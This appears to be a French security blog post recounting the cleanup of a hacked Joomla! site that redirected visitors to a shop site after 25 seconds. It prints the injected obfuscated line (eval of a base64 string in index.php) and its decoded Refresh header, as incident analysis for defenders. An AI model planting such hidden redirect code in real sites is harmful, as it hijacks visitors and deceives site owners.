Hack de rafraîchissement sous Joomla!

Post: 1 December 2012 by kriss in: Sécurité Print

Récemment, l'un de nos clients a rencontré des problèmes avec son site Joomla!. Le site ne cessait de rediriger vers un autre site, intitulé http://shopforza.info/shop, après exactement 25 secondes. Constatant le problème, nous en avons vite déduit que le site était juste un autre site Joomla! compromis.

La première chose que nous avons faite, après avoir changé les mots de passe et temporairement fermé le site avant que Google ne le place en liste noire, fut de désactiver JavaScript afin de déterminer si la cause du problème était l'un des nombreux malwares JavaScript qui parviennent parfois à s'introduire dans les sites mal sécurisés. À notre grande surprise, le site continuait à nous rediriger après le même délai, mais au moins, il était désormais clair qu'une autre technique de redirection était à l'œuvre.

Une inspection minutieuse du code source HTML ne révéla rien d'intéressant, ou du moins, pas de balise <meta> refresh, comme ce qui peut d'abord venir à l'esprit lorsqu'on pense à une redirection non-JavaScript. Mais des redirections peuvent aussi se produire au niveau du protocole, et en fait, l'inspecteur réseau fut plus utile puisque nous avons été en mesure de capturer un en-tête intéressant dans la réponse HTTP :

Refresh: 25; url="http://shopforza.info/shop"

N'oublions pas que Refresh: est un en-tête HTTP valide, d'où le besoin d'utiliser l'attribut http-equiv lorsque vous l'utilisez dans une balise <meta>. Ayant découvert cet en-tête, la cause de la redirection vers ce site après 25 secondes devint subitement évidente. Mais il nous restait encore à découvrir d'où cet en-tête était injecté.

Une recherche rapide des fonctions PHP malicieuses ou dangereuses eval() et base64_decode() révéla que le seul fichier impliqué était index.php, à la racine de l'installation Joomla!. Ce fichier étant exécuté à chaque fois qu'une page est affichée, il est une cible intéressante pour un pirate tout code malicieux qu'il contient sera exécuté à chaque fois. Le fichier contenait la ligne suivant entre les deux premiers require_once() :

Print

  1. eval(base64_decode('aGVhZGVyKCJSZWZyZXNoOiAyNTsgdXJsPVwiaHR0cDovL3Nob3Bmb3J6YS5pbmZvL3Nob3BcIiIpOw=='));

Évaluer cette chaîne après l'avoir décodée de l'encodage base64, bien sûr, résulte en l'exécution du code suivant :

Print

  1. header("Refresh: 25; url=\"http://shopforza.info/shop\"");

Maintenant que la source du problème a été découverte, la dernière étape fut de s'en débarrasser en supprimant cette ligne, et de réouvrir le site afin de nous assurer que la redirection s'en était allée. Comme d'habitude, nous avons enquêté pour le client afin d'expliquer comment cette simple ligne de code PHP avait pu être injectée dans un fichier du serveur en premier lieu.

Bien que nous n'ayons pas découvert de porte dérobée, il apparut que notre client utilisait un mot de passe administrateur peu sécurisé figurant dans la liste des dix mots de passe les moins sécurisés, et que son site utilisait aussi des extensions Joomla! connues pour contenir des vulnerabilités. Comme cette combinaison de faiblesses de sécurité a probablement conduit à cette injection de code, il confirma que le site demeura sain pendant des semaines, après que nous l'ayons recommandé de désinstaller les extensions non sécurisés et de n'utiliser que des mots de passe sécurisés.

Si vous êtes affecté par le même problème, nous espérons que cet article saura vous aider à le résoudre sans trop de difficultés. Et souvenez-vous que ce genre de problèmes peut facilement être évité en utilisant des mots de passe sûrs et des extensions à jour.